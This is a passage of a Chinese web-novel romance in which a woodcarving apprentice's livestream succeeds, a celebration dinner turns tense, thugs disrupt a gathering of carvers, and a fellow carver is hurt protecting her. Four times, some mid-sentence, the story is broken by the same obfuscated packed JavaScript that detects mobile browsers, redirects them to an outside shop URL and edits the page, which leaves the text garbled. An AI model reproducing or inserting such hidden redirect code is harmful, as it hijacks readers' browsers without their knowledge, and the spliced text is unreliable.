他面对孟冬愉有惊无险的踉跄,挠了挠头,象征性地关心了一下:“不好意思啊冬愉姐,我太急了,没事儿吧?” 孟冬愉抿着唇角摇了摇头,想要结束这个话题:“没事,快吃饭吧。” 祁清肆将她的汤碗和餐碟往他这边移了移,而后悠悠开口:“孟冬愉,换个位子。” 饭菜都吃了一半了,这个时候换位子做什么? 孟冬愉侧眸看他:“怎么了?” 祁清肆起身,将他的椅子往外拉了拉,下巴点了下示意她坐过来:“我找胡杭有点事儿。” 胡杭刚往嘴里塞了一口饭,闻言含糊不清道:“肆哥,什么事情这么着急啊?吃完饭再聊不行吗?” 全程看戏的郑泽夸张地在空气中嗅了嗅,继而“啧啧”一声:“某些人啊,就喜欢拿醋当饭吃。” “胡杭,听哥一句劝,换个位置和你肆哥好好聊聊,不然他等下喝醋都喝饱了。” 童欣瑶瞪了在场的各位男士一人一眼,拍了拍身旁的空位:“冬天姐姐,你别理他们,他们好烦,你来坐我旁边。” 什么乱七八糟的? 不就是祁清肆方便找胡杭聊天找她换个座位吗? 郑泽和童欣瑶突如其来的言语和举动让人费解,孟冬愉对此一头雾水。 再绕半个桌子过去坐到童欣瑶那边过于麻烦,更何况祁清肆已经拉好了椅子等她。 孟冬愉拿着筷子,起身挪了过去。 见祁清肆坐了过来,胡杭把口中的食物咽掉,忙不迭问道:“肆哥,什么事情啊?” 祁清肆胳膊搭在他的椅背上,想了一会儿,才开口:“上次让你帮忙打听的事儿,问到了吗?” 像是打哑谜般的问题,胡杭倒是get到了他的意思,解释道:“我舅这几天采购药材去了,我还没来得及问。” 祁清肆手指有一搭没一搭地敲着他的椅背,点头应声:“嗯,那到时候再帮忙问一下,哪些是调理身体比较好的。” “好说好说。”胡杭摆了摆手,似乎想到了什么,又有些好奇,“肆哥,方便问一下,你是帮谁问的吗?” 祁清肆勾起唇角笑了下,漫不经心地开口:“朋友。” 胡杭点了点头没再多问,郑泽又插话进来:“什么朋友?你们搁这儿对暗号呢?” 胡杭向来没什么拐弯抹角的心思,听到郑泽问,索性将事情全盘脱出:“哪有对暗号?就是肆哥前两天让我帮忙问下我舅,南江有没有好点的调理……的老中医。” 郑泽敏锐地捕捉到他试图忽略的点:“调理什么?” 胡杭撇了撇嘴,含糊其辞:“嗨呀,你问那么多做什么,又不是帮你找的。” 郑泽被噎得没话说,也不再继续八卦下去,又开始闷头吃饭。 - 接下来连着两天的教学,祁清肆的雕刻手艺终于赶上了孟冬愉第一天的水平。 郑泽将拍摄的视频素材剪了出来,发到网上为后续的直播做了预告。 直播当天,郑泽以探店的形式,邀请祁振强为大家介绍了店内在售木雕的不同工艺,又花了大篇幅去直播祁清肆的雕刻过程。 一张三百六十度无死角的脸,凿木头时手臂因用力而暴起的青筋,以及锻炼得宜的肱二头肌。 完完全全地将性张力拉满。 赶着南江旅游季的尾声,郑泽的这场直播不但为祁振强的木雕店吸引了一大批游客,几年前的网红民宿满汀洲热度也再次回归。 直播的视频片段在网上大肆传播,最后还被南江文旅局的官号给点赞转发了。 庆功宴定在了直播一周之后。 孟冬愉过去的时候,大家都在低头忙碌。 胡杭见她一个人过来,率先问道:“冬愉姐,祁叔呢?还在忙吗?” 庆功宴是郑泽先提出来的,祁振强听说后默默订好了包厢,大家都默认这次聚餐祁振强会一起来。 但是眼看着众人一个个到场,却始终不见祁振强的影子,大家就让这次直播的“牵头人”孟冬愉去提醒他一下。 结果还是孟冬愉一个人去,又一个人回来。 胡杭的话音落,郑泽和祁清肆的目光也望了过来。 看着大家都在等着听到底是什么情况,孟冬愉摇了摇头,开口解释:“祁叔说要准备后天的同行交流会,今天就不和我们一起吃饭了。” 相处了这些天,郑泽虽不知内情,也多少看出了祁振强和祁清肆关系不和。 闻言,郑泽撞了下祁清肆的胳膊,开始添油加醋:“你老爸不会是因为你在这儿他才不来的吧?” 祁清肆轻哧:“爱来不来。” 孟冬愉从包里拿出几个红包,一个一个递到他们面前:“祁叔让我带给你们的,说是他的一点心意,这段时间辛苦大家了。” 胡杭接过红包,有些不好意思地挠了挠头:“我也没帮什么忙,怎么还有我的份儿啊?” “太客气了,替我谢谢祁叔。”郑泽笑着刚接过红包,手机消息提示音就突然响起。 他点开看了眼,而后震惊地站了起来:“我去,南江文旅局的官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997965|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方号关注我了。” “他们的工作人员发消息过来说要和我谈合作?!” 胡杭跟着起身凑过去看了眼,在他面前竖了个大拇指出来:“牛啊泽哥,这是要吃上国家饭了。” “我一个小网红,何德何能?”郑泽谦虚地摇了摇头,冷静后又坐了下来,“要说还得感谢冬愉学姐拉我入伙。” 感慨完,他拿起手机晃了晃:“不说了家人们,我先去会一会他们。” 听完他们的一惊一乍,童欣瑶终于从滔滔不绝的民宿预订信息中抬头。 她拆开看了眼里面装着的十张百元大钞,理所当然地将红包塞进了口袋。 似乎想到了什么,她又不满地吐槽:“祁清肆,你比舅舅抠多了。” 祁清肆捻着红包的边角,闻声挑眉:“我怎么就抠了?” 导火索被引爆,童欣瑶开始噼里啪啦地诉苦水:“满汀洲一火,你就撒手不管,这么多预订信息,预约都到年后了。” “还有,这几天每天都有人来门口堵你,我一边忙着回消息,一边还要做你的经纪人帮你善后。” “我这几天忙都忙死了,你都不提一句要给我加工资。” 祁清肆没搭腔,而是转头看向刚刚落座的孟冬愉,开口问道:“没什么想说的?” 孟冬愉:“?” 怎么又和她扯上了关系? 孟冬愉不解:“说什么?” 祁清肆似笑非笑地提醒:“满汀洲的预订排到年后了。” 她只是个租客,预订什么的和她有关系吗? 孟冬愉依旧不理解他话里的意思。 祁清肆“嘶”了一声:“孟冬愉,没记错的话,你当初只租了一个月。” 孟冬愉这才想起来,她当初来这里真的只是打算旅居一个月的。 只是后面发生了这么多事情,木雕店也刚刚起步,她不可能一个月结束就一走了之。 然而现在满汀洲爆火,房间本就供不应求。 孟冬愉试探地问道:“现在续租来得及吗?” 祁清肆摇了摇头,一副很为难的模样:“都是平台上预订的,估计来不及了。” 一来,满汀洲的环境舒适,孟冬愉确实很喜欢。 二来,他刚才既然这么提醒了,肯定是有解决办法的。 孟冬愉顺着他问:“你不是老板吗,你想想办法?” 祁清肆眼底染着戏谑的笑意,有点秋后算账的意思:“我能有什么办法,我当初说让你租三个月,你也不听啊。” 孟冬愉:“……” 总算知道了他的意图。 真会记仇。 孟冬愉不再僵持,索性破罐子破摔:“那算了,一个月租约到期我就搬走。” 童欣瑶瞪了祁清肆一眼,连忙出声:“冬天姐姐,你别听他的,房间我帮你留着呢。” 祁清肆似乎对童欣瑶的表现很满意,他勾着唇角,把手中的红包丢到她面前:“小费。” 童欣瑶弯着眼睛收下,还贪心地问:“那工资呢?” 祁清肆慢悠悠开口,看着心情不错:“翻倍,行不行?” 24. 争议 得到了承诺,童欣瑶这才满意地点了点头,接着去回手机上已经爆满的消息。 胡杭见祁清肆总算空了下来,从口袋里摸出一张纸条递给他:“肆哥,你上次让我问的老中医,我让我舅把地址都写上面了。” 祁清肆接过去,将纸条拆开来看。 胡杭拍了拍脑袋,凑过身去指着纸条上的名字,接着补充:“对了,我舅让我和你说一下。名单上第一个老中医是调理身体最牛的一位,但是因为年纪太大了,现在除了帮亲朋好友诊诊脉,其余时间已经不出诊了。如果实在想找他看,估计得找找关系。” “后面那几位也都还不错,不过,他们的号估计也至少都排到一个月之后了。” “嗯。”祁清肆点头应了声,又将纸条对折丢进口袋,“谢了。” “嗨呀,道什么谢?”胡杭连忙摆了摆手,“你的事儿就是我的事儿。” “而且,我也只能帮到这儿了,挂号什么的还得你朋友亲自去。” 郑泽那边应该已经聊得差不多了,他从手机中抬头,再次八卦:“祁清肆,你到底哪个朋友要看中医啊?” 祁清肆掀起眼皮看了他一眼,并没给答案:“少点好奇心死不了。” “上次问胡杭是调理什么的时候,他就支支吾吾。今天问你是谁要调理,你也不肯说。”郑泽摸了摸下巴,视线上下打量着他,“难不成,那个朋友……是你自己?” 似乎想到了什么,郑泽语气有点意味深长:“你才二十三啊,精力正旺的年纪,不应该……吧?” 他话音刚落,就被祁清肆拽着衣领扯了出去。 走到包厢门口,祁清肆扯着他的衣领将他往外一推,冷着脸道:“说话之前先看看场合,什么该说什么不该说,还要我教?” 之前也不是没开过这样的玩笑,祁清肆大多数时候都是一笑了之,也不是那种开不起玩笑的人。 郑泽不理解他今天怎么就这么生气。 “不是,我说什么了?”郑泽踉跄了一下,站直了身体后,满脸不服气,“我就是正常质疑,你现在的举动更让我怀疑你是恼羞成怒。” 眼看着两人之间剑拔弩张,胡杭连忙跟着出来当和事佬:“泽哥你想太多了,不是肆哥需要调理。” “我舅推荐的那些老中医都是妇科圣手,和肆哥扯不上不关系。” 郑泽闻言哼了一声,依旧在气头上:“谁让你们一个个不肯直说。” 祁清肆嗤笑:“不直说,也不是你当着女生的面开黄腔的理由。” 郑泽这才知道祁清肆为什么突然变脸,不过他依旧不服气:“祁清肆,你是不是对‘开黄腔’这个词有什么误解?” “且不说我还什么都没说,就算说了,现在都什么年代了,你怎么还谈性色变?” 新一轮的争吵再次来袭,胡杭叹了口气,夹在两人中间接着劝和:“好了好了,都少说两句,还没点菜呢哥哥们,冬愉姐和小公主还等着吃饭呢。” 祁清肆没再搭腔,转头回了包厢落座。 郑泽也紧随其后,气哄哄地坐了进来。 应该是越想越委屈,郑泽看向孟冬愉和童欣瑶问道:“姐妹们,我刚才说的话,让你们感到不舒服了吗?” 童欣瑶没选择站谁那边,只是嫌弃地撇了撇嘴,吐槽道:“一群幼稚鬼。” 孟冬愉低头专注地翻着手机,全然没注意到方才发生了什么,自然也没听到郑泽的问话。 直到饭菜上齐,她都没从手机屏幕中抬起头来。 可能是见她迟迟不动筷子,祁清肆屈指敲了敲她的手机屏幕,提醒道:“孟冬愉,先吃饭。” 他的手将屏幕的界面遮挡,看不清楚内容之后,孟冬愉才抽神回来:“怎么了?” 祁清肆下巴点了点桌上的饭菜,重复提醒:“吃饭。” 胡杭见状,好奇地问道:“冬愉姐,你在看什么呢?这么认真?” 孟冬愉揉了揉眉心,倒也没隐瞒:“研究一下怎么开网店。” 胡杭闻言似乎来了兴致:“什么网店?” 郑泽的这场直播虽然为祁振强的木雕店引了流,也将木雕店的名声在一定范围内打了出去。 但是网络上的热点更新很快,这波热度一旦过去,再加上马上就到了旅游淡季,当下的巅峰客流是维持不了多久的。 而且孟冬愉这些天也去看了视频片段下的一些评论,很多人都在问有没有线上购买渠道,甚至有人为此做起了代购。 互联网时代,很多商家都是线上线下销售并行,开通网店对于祁振强这家店来说迫在眉睫。 只是孟冬愉先前并没有开网店的经验,一切都要从头学起。 见胡杭还在等着她的回答,孟冬愉抿了抿唇角,将当下的想法如实相告。 “冬愉姐,你还真是问对人了。”胡杭嘿嘿笑了两声,“我家糕点铺的网店就是我给搞的,你要是信得过我,我来帮你。” 这些天的相处,从胡杭的话里话间,都能听出来他是个没什么上进心的人。 与祁清肆相比,胡杭更像是一个被千娇万宠长大的、玩世不恭的公子哥。 孟冬愉没料到这种话会从胡杭口中说出来,她惊讶地看着他,再次确认:“真的?” 胡杭骄傲地扬起下巴:“当然,虽然我没肆哥那么有能力,但是你也别小看我,我大学学的就是这个。” 正在发愁的事情迎刃而解,孟冬愉礼貌地点了点头:“多谢。” “太客气了,再说你也是为祁叔的事情操心。”胡杭拍了拍胸脯,义正言辞,“祁叔和肆哥的事情就是我的事情。” “他们给你什么好处了?”郑泽明显还在生气,说起话来带着刺,又将话题给扯偏,“祁清肆拿你当跑腿,你怎么还处处为他说话,什么事情都向着他?” 胡杭闻言一愣,脸上的笑容消失,似乎回忆起了什么,许久之后才低落地开口:“泽哥,是我欠他们的。” 祁清肆周身的气压也低了几分,他皱了皱眉,有些烦躁:“胡杭,说多少次了,你谁都不欠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010135|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看着餐桌上的氛围越来越差,童欣瑶拍了拍桌子:“庆功宴,大好的日子,能不能别说那些不开心的?” “你们要是实在看不惯彼此,就出去打一架,别影响我和冬天姐姐吃饭的心情。” 冗长的沉默过后。 郑泽可能是意识到自己过于较真了,于是撇了撇嘴,试图缓和气氛:“谁打得过祁清肆啊?” 祁清肆扫了他一眼,给了台阶:“打不过就少说点话。” - 庆功宴结束后的几天,孟冬愉跟着胡杭学着经营网店的同时,还帮着祁振强一起筹备了一场同行交流会。 活动就在祁振强的木雕店举办,当天来了很多非遗木雕的传承人。 孟冬愉跟在祁振强身后,听着他们寒暄。 其中有人夸赞:“师兄,想当初一起当学徒的时候,你就比我们手艺好。如今又培养了一个这么优秀的儿子,让你这木雕店在我们之中又遥遥领先。” “我们可是真羡慕你啊。” 祁振强并没接受他们的恭维,他看了眼身后的孟冬愉,坦诚道:“和那混小子没关系,都是我徒弟的主意。” 众人闻言纷纷向祁振强身后看去。 方才发言的人再次问道:“师兄,哪位是你的徒弟?怎么都不介绍一下?” 祁振强回头示意孟冬愉上前来,抬手指了指发言人:“这位是我师弟,你可以喊师叔。” 这些天祁振强对她的态度并没有太过明显的变化,自然也没提过要收她为徒的事情。 拜师礼都还没行过,孟冬愉更没料到他会在同行中承认她是他的徒弟。 孟冬愉从受宠若惊中回神过来,走上前礼貌地自我介绍:“师叔们好,我叫孟冬愉。” 发言人看到孟冬愉,似乎也有些惊讶,他指了指身后的人,笑道:“把‘们’字去掉,我后面的都是我徒弟,你要喊得喊师兄。” 介绍完,他又看着祁振强,含笑打趣:“师兄啊,当初不是说不收女娃娃的?” 祁振强哼了一声,反驳:“我说的是不收那些没天赋又不肯吃苦的。” 发言人没再拆穿他,而是接着和孟冬愉讲话:“你师父这个人可挑剔了,眼光也毒,我身后这些徒弟很多都是他当年不肯收的。” “没想到时隔多年,他竟然收了个女徒弟。” 没等孟冬愉吱声,祁振强再次护短:“什么男的女的,我徒弟比你身后那些混小子强多了。” 发言人笑呵呵地承认:“可不是吗,要不然我也不至于带他们来你这儿学经验。” 话说完,他又向孟冬愉指了指他身后的一个高个子男生:“温承卿,我资质最好的徒弟,正儿八经的雕塑专业毕业的。” 孟冬愉没明白他的意图,只是礼貌地点头打招呼:“师兄好。” 被称为温承卿的人,温柔地笑了笑,也礼貌地朝她点头示意。 见他们太过墨迹,发言人再次开口:“承卿啊,别傻站着了,找个地方请你师妹喝杯茶,好好交流一下经验。” 25. 助人 安松柏的话音刚落,店铺的大门突然被人拿着木棍咚咚咚地敲了几下。 又闷又重的撞击声一瞬间将众人的注意力吸引了过去。 门口站了几个小混混模样的人物,木棍扛在肩上,神色嚣张至极。 为首的是一个染了一头黄毛的男人,二三十岁的年纪,露出的双臂上纹满了刺青。 他拿着木棍一下一下地敲着自己的手掌,将嚼烂的口香糖朝人群的方向吐去:“祁振强,日子又好起来了。” 祁振强惯常板着的脸闪过一丝异样,而后铁青着脸质问:“你又来做什么?” “参观一下喽。”黄毛男人在店里溜达一圈,而后回到祁振强身边,熟稔地将胳膊搭在他的肩膀上,朝门口努了努嘴,“我这些兄弟们都是苦命的人,看你过得这么好,当然得找你寒暄几句。” 祁振强脸色沉了沉,试图将黄毛的胳膊拿掉:“有什么事情我们私下说。” 黄毛男人视线环顾一周,嬉皮笑脸地拍了拍祁振强的肩膀:“欸~,有些话就得当着大家的面说才好玩。” 从两人的话里话间能听出来,祁振强和黄毛男人显然是相识的,而且应该存在着什么恩怨。 此次交流会除了安松柏师徒一行人之外,还有些慕名而来的同行,吃瓜看戏本就是人之爱好。 店内的众人你看我我看看你,最终全体默不作声,等待着黄毛男人接下来会讲什么。 祁振强明显也意识到黄毛男人的意图,他皱着眉头躲闪开,声音中染着怒意威胁:“我劝你马上离开,不然我报警了。” 像是听到了什么笑话一样,黄毛男人拿木棍杵了杵他的肩膀,仰着下巴挑衅:“祁振强,你他妈的敢报警吗?” 没等祁振强应声,黄毛男人就下了总结,似乎在替他惋惜:“唉,我猜你不敢。” 向来态度强硬的祁振强此刻脸色有些泛白:“你究竟还想要什么?” “这么多年过去了,还为一个死人守着秘密,不累吗?”黄毛男人没回答他的问题,继续在店里溜达,嘲讽般打量着不敢吱声的人群,又回头看他,“我看今天人挺多,要不我替你说出来怎么样?” 闻言,祁振强强行掩饰的慌乱再也藏不住,他上前扯着黄毛男人的衣领,妥协般道:“你们想要什么我都可以答应,能不能先离开这里?” “想要什么都给?”黄毛男人把他推开,拿起木棍敲了敲后脖颈,活动着筋骨提醒,“上次为了那个贱货卖了房子,这次又打算卖什么?” “我看这……” 祁振强古铜色的脸上血色尽失,语调里带着前所未有的哀求,打断他:“别再说了。” “啧啧,真是个痴情人。”黄毛男人单手剥了片口香糖塞进嘴里,继而摇头感慨,“你说,她的命怎么就这么好呢?” 黄毛男人话音刚落,门口突然有同伙提醒:“老大,那女的好像在报警。” 孟冬愉原本并不想插手这些事情,但是眼看着围观的人越来越多。 身为木雕店的老板,祁振强能讲的话都讲了,甚至连最后的一点体面都快没了,而黄毛男人还在没完没了地纠缠下去。 这非常影响门店的形象和店里的生意,于是孟冬愉试图去结束这场闹剧。 面对扰乱生意、寻衅滋事的小混混,报警是最好的办法。 哪曾想,门口站着的那几个小混混倒是耳聪目明,她站在人群中,电话刚拨出去,就被发现了。 黄毛男人视线随着提醒声扫了过去,而后带着玩味的笑穿过人群向她逼近:“开免提,我今天要让所有人都听一个惊天的大秘密。” 祁振强闻言猛地冲了过去,试图去夺孟冬愉手中的手机:“不要报警。” 混乱之中,孟冬愉不知道被谁推了一下,整个人失去重心,向后倒去。 她身后是一张摆放木雕的木桌,桌角下方的钉子弯折呈挂钩状,原本是为了挂一些带流苏的装饰品,此刻孟冬愉倒下的头却刚好对准这个铁钉钩子。 倒向木桌的那一刻,孟冬愉后倾的身体被人托了一下,一只手掌落到了她的后脑勺上。 而后有人惊呼:“师哥,你怎么样?” 耳畔是温承卿的声音,挂着一丝处变不惊的温和:“没事。” 孟冬愉在外力的作用下站直了身体,视线落到身边的温承卿身上。 他方才放置在她后脑勺上的那只手,此刻有些触目惊心。 宽大的手背上是一道又深又重的割痕,皮肉外翻,血水弥漫了整个手掌,像断了线的珠子,顺着指尖噼里啪啦地往地上砸。 见状,在场的人都愣了一瞬间。 孟冬愉匆匆去里间抽了条干净的毛巾,紧紧地缠到他的手上,而后扯着他的胳膊,一边打车,一边往门外走:“去医院。” 黄毛男人见事情闹得有些大,反应过来后,带着几个小混混溜之大吉。 手上的伤口经过消毒处理,又缝了好几针。 孟冬愉坐在病床边,陪着温承卿挂水的时候,祁振强和安松柏一行人才匆匆忙忙地赶来。 温承卿颇有耐心地一一回应了众人的关心,继而又看向面色愧疚的孟冬愉,安慰道:“别担心,不是大伤。” 这句话从孟冬愉送他来医院开始,已经听他说了第三次了。 只是无论大伤小伤,这终究是为了救她而受的伤。 一个手工艺者,一个靠手吃饭的人,他们之间明明萍水相逢,在那危险的一瞬间,他竟然用手护住了她的头。 在不危及自身的情况下伸出援助之手,有名利可图的事情,自然是很多人都乐意去做的。 但是如果救人的前提是伤害自己,危害到自身的利益,就没那么多的好心人。 孟冬愉自认为深谙人性,且不说别人,这件事若换做她是温承卿,大概率只是冷眼旁观。 病房里乌泱泱围了一群人,妨碍了医院工作的运转,不一会儿有护士前来提醒:“病人输完几瓶消炎药就可以办理出院了,家属不用来这么多。” 温承卿无奈地笑了下,朝安松柏道:“师父,你们先回去吧。” “只是手背受了点伤,我一个人可以的。” 安松柏从身后推了个人出来:“一个人怎么行?让你师弟留下来陪你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105113|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 欠了人情就得还,只是当下除了陪他输液,孟冬愉不知道要为他再做些什么。 她抿了抿唇角,将任务揽了下来:“我留下来吧,正好我刚刚也熟悉了医院的环境。” 安松柏没多说什么,只是笑呵呵地应下:“那麻烦你了。” 孟冬愉摇头:“不麻烦,应该的。” 安松柏上下打量了孟冬愉一眼,满意地点了点头,而后拉着祁振强离开。 出医院的路上,可能是看着祁振强情绪不太好,安松柏没去问黄毛的事情,而是笑着问道:“你那个徒弟有心上人吗?” 祁振强看了他一眼:“问这个做什么?” 安松柏将“月老”的话题扯了出来:“承卿家里条件不错,人也肯吃苦,就是都二十六了还单着。” “他父母那边催着让我帮忙给物色物色,你也知道干咱们这一行的姑娘家少得很,我也是天天发愁。” 祁振强知道了他的意图,哼了一声:“所以就想着来嚯嚯我徒弟?” “什么话?”安松柏摆了摆手,“我就是看着她和承卿挺搭的,可以撮合一下。” 祁振强想都没想就拒绝:“他配不上我徒弟。” “怎么就配不上了?”安松柏接着劝说,“你看上的徒弟,肯定是出类拔萃。但是我这个徒弟也没差到哪去,你不信的话我让他在你店里留几天,你考验一下?” 安松柏这句话刚说完,祁清肆正巧与他们擦肩而过。 祁振强余光撇了祁清肆一眼,赌气般应了下来:“可以。” 祁清肆走到病房门口的时候,刚好碰到孟冬愉从里面出来。 已经到了晚饭饭点,药还有两瓶没输完,温承卿刚失了大量的血,总得先吃点什么补一补。 本着这个念头,孟冬愉推开门,打算出去觅食,却门口和祁清肆迎面相撞。 孟冬愉看着眼前的人,有些惊讶:“你怎么来了?” 祁清肆语调带着一丝阴阳怪气:“来看你乐于助人。” 孟冬愉下意识去和他解释:“如果不是他,现在躺在病床上的是我。” “知道。”祁清肆哼笑,把手中的餐盒递到她面前,“所以我也来乐于助人。” 他突如其来的行为和言语让孟冬愉有些发蒙:“什么?” “猪蹄汤。”祁清肆应该是以为她在问餐盒里装了什么,他下巴点了点餐盒,再次解释,“不是说吃什么补什么?” 孟冬愉:“?” 见她还不接,祁清肆拉过她的手腕,将保温餐盒塞到她的手中:“给你救命恩人的。” 闻言,孟冬愉终于明白了他的来这儿的目的。 不过,一个素未谋面的人,他都能这么好心过来送饭? 像是看出了她的质疑,祁清肆咬着牙笑:“放心给他吃,不都说了,我这个人就是爱多管闲事儿。” 家里做的自然要比外面买的干净卫生又有营养。 孟冬愉没再多问,只是拎着餐盒点头:“谢谢。” 祁清肆没搭腔,蓦地把手摊到她面前,幽幽开口:“孟冬愉,能不能关心我一下?” 26. 对峙 孟冬愉顺着他的视线向他的手上望去,他食指微屈,指关节处肿起了一个水泡。 应该是烫伤。 水泡不算很大,也就指甲盖大小。 这种小小的烫伤很多人都经历过,特别是一些经常做饭的人。 人体有着很强的自愈能力,以孟冬愉自身的生活经验来看,不去管它,几天之后也就消下去了。 孟冬愉不太明白他想要什么样的关心,她指了指餐盒,试探地问道:“要不,你也喝点煲好的汤?” 不是说吃什么补什么吗? 刚好他伤的也是手,猪蹄汤他自己也可以喝一点。 祁清肆被气笑,他深吸了一口气,面色带着点不爽:“孟冬愉,你就是这么关心人的?” 一点小伤,忍一忍就好了。 他究竟还要怎么关心? 孟冬愉叹了口气:“那你想怎么办?” 祁清肆没正面回答她的问题,反而板着脸回应了她方才的话:“喝过了,没用。” 孟冬愉:“……” 这话说得多少有点无理取闹。 孟冬愉揉了揉眉心,耐着性子和他讲道理:“毕竟是伤口,哪有喝口汤一下子就好的道理?” 祁清肆面无表情地吐出几个字,语调却带着似有若无地撒娇意味:“痛,忍不了。” 对于一些无关紧要的小事,孟冬愉向来没有太多耐心。 若是换做往日,面对他人的无理取闹,她绝对是置之不理的。 只是今天不知道怎么了,面对这样的祁清肆,孟冬愉虽然觉得他娇气幼稚,但又不忍心对他说什么重话。 孟冬愉再次耐心地给了一个解决方案:“那你去看看医生?刚好也来医院了。” 像是终于等到了想听的答案了一样,祁清肆点头:“我不熟悉路,你带我去。” 孟冬愉:“?” 先不说这家医院在南江的知名度,作为一家离满汀洲最近的三甲医院,祁清肆一个南江本地人,会没来过?还不熟悉路? 理由想得过于蹩脚。 他也是觉得一点小伤不好意思一个人看医生吗? 想让人陪着一起,可以直说啊。 孟冬愉被他给逗笑,最终弯着唇角妥协,她推开病房门,示意道:“那你先进来等一下,等承卿师兄吃完饭,我和你一起去。” 祁清肆倚在墙上,完全没有要进去坐的意思:“我又不认识他,我进去做什么?” 明明刚才还在说他爱乐于助人,他爱多管闲事,怎么转头又说不认识温承卿? 孟冬愉对他突然的转变并不理解:“不认识他,你还来给他送饭?” “我那是不想你欠——”祁清肆几乎是本能地脱口而出,只是话说到一半,又及时地收住。 他总是这样,像恶作剧似的,把人的好奇心勾了出来,又不继续讲下去。 孟冬愉只好接着问:“欠什么?” “没什么,我进去等。”祁清肆并没满足她的好奇心,而是直起身来,妥协般朝病房里走去。 孟冬愉紧随其后进来,指了指身前的祁清肆,向温承卿介绍:“师兄,这位是祁叔叔的儿子,祁清肆。” 介绍完,她又指了指餐盒:“祁清肆在家里煲好的汤,师兄你等下尝尝看。” “麻烦了。”温承卿温和地笑了笑,而后又去回应孟冬愉的介绍,“视频里看到过,久仰大名。” 没等孟冬愉开口,温承卿又主动进行了自我介绍:“温承卿,喊我承卿就行。” 祁清肆面无表情地点了点头,拉了张椅子在床尾坐下。 孟冬愉将餐盒放到病床床头的柜子上,将盖子打开,刚盛了一碗出来,就听到门口有护士喊:“二号病房的家属来一下护士站。” 虽然不是家属,但是护士喊肯定是有重要的事情。 孟冬愉指了指门外,向两人示意道:“那我先过去一下。” 孟冬愉出门之后,留下病房里两个男人面面相觑。 温承卿指了指床头柜上的那碗猪蹄汤,率先打破了安静:“能吃吗?” 祁清肆掀起眼皮应声:“没下毒。” 温承卿失笑,解释道:“没别的意思,我是问现在能吃吗?” 祁清肆哼了一声,话里带着刺:“现在不吃还想等着孟冬愉回来喂你?” “真把她当你家属了?” 温承卿也不恼,他扬了扬扎了针的右手,又看了眼缠着绷带的左手,面上依旧挂着笑:“如果我想,她可能真得喂我。” 祁清肆咬着牙点了点头,拖着椅子移到床头,而后拿起汤碗舀了一勺浓汤,面无表情地递到他面前。 温承卿偏头躲开,语调很缓,带着点明知故问的意思:“这是做什么?” “不是想被人喂?”祁清肆嗤笑,“我替孟冬愉还你人情。” “不用。”温承卿用缠着绷带的手将面前的碗推开,而后笑着捻了捻手指,“换做任何一个人,我都会这么做的。” 祁清肆扯了扯唇角,顺着他的话,带着点宣誓主权的意味:“换成任何一个人救她,我也都会来还人情。” 闻言,温承卿笑着看他,笑意却不达眼底:“是吗?我怎么觉得,凭你和冬愉师妹的关系,还轮不到你来替她还。” 温承卿的嗓音温柔,但却掷地有声,字字句句都在往人心头上砸。 祁清肆将汤碗丢在桌子上,居高临下地看了他一会儿,继而不屑地讥嘲:“凭你和孟冬愉的关系,也轮不到你对我和她的关系指手画脚。” …… 孟冬愉推门进来的时候,两个人正在无声对峙。 她看了眼桌面上洒落的汤汁,皱了皱眉问道:“你们怎么了?” 温承卿面不改色地扯谎:“清肆煲的汤太香了,我急着尝尝。可惜我这手不太方便,不小心撒了出来,清肆在帮忙清理。” 孟冬愉的视线落到温承卿的手上,才反应过来,她先前一直没想过他的吃饭问题。 如今他两只手都被占着,吃起饭来确实不方便。 只是……以他们的关系,她来喂他,终究是不太好。 孟冬愉纠结了片刻,还是决定向站在一旁冷着脸的祁清肆开口求助:“祁清肆,你能帮忙喂……” 话还没讲完,祁清肆就和温承卿同时应声—— 祁清肆满意地勾着唇角:“可以。” 温承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115360|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿笑得善解人意:“不用了,等会儿输完液了我再吃。” 输完液估计还要等一个多小时,孟冬愉有些担心地再次确认:“你现在不饿吗?” 温承卿并没有直接说“不饿”,而是摇了摇头:“还好,能忍一下。” 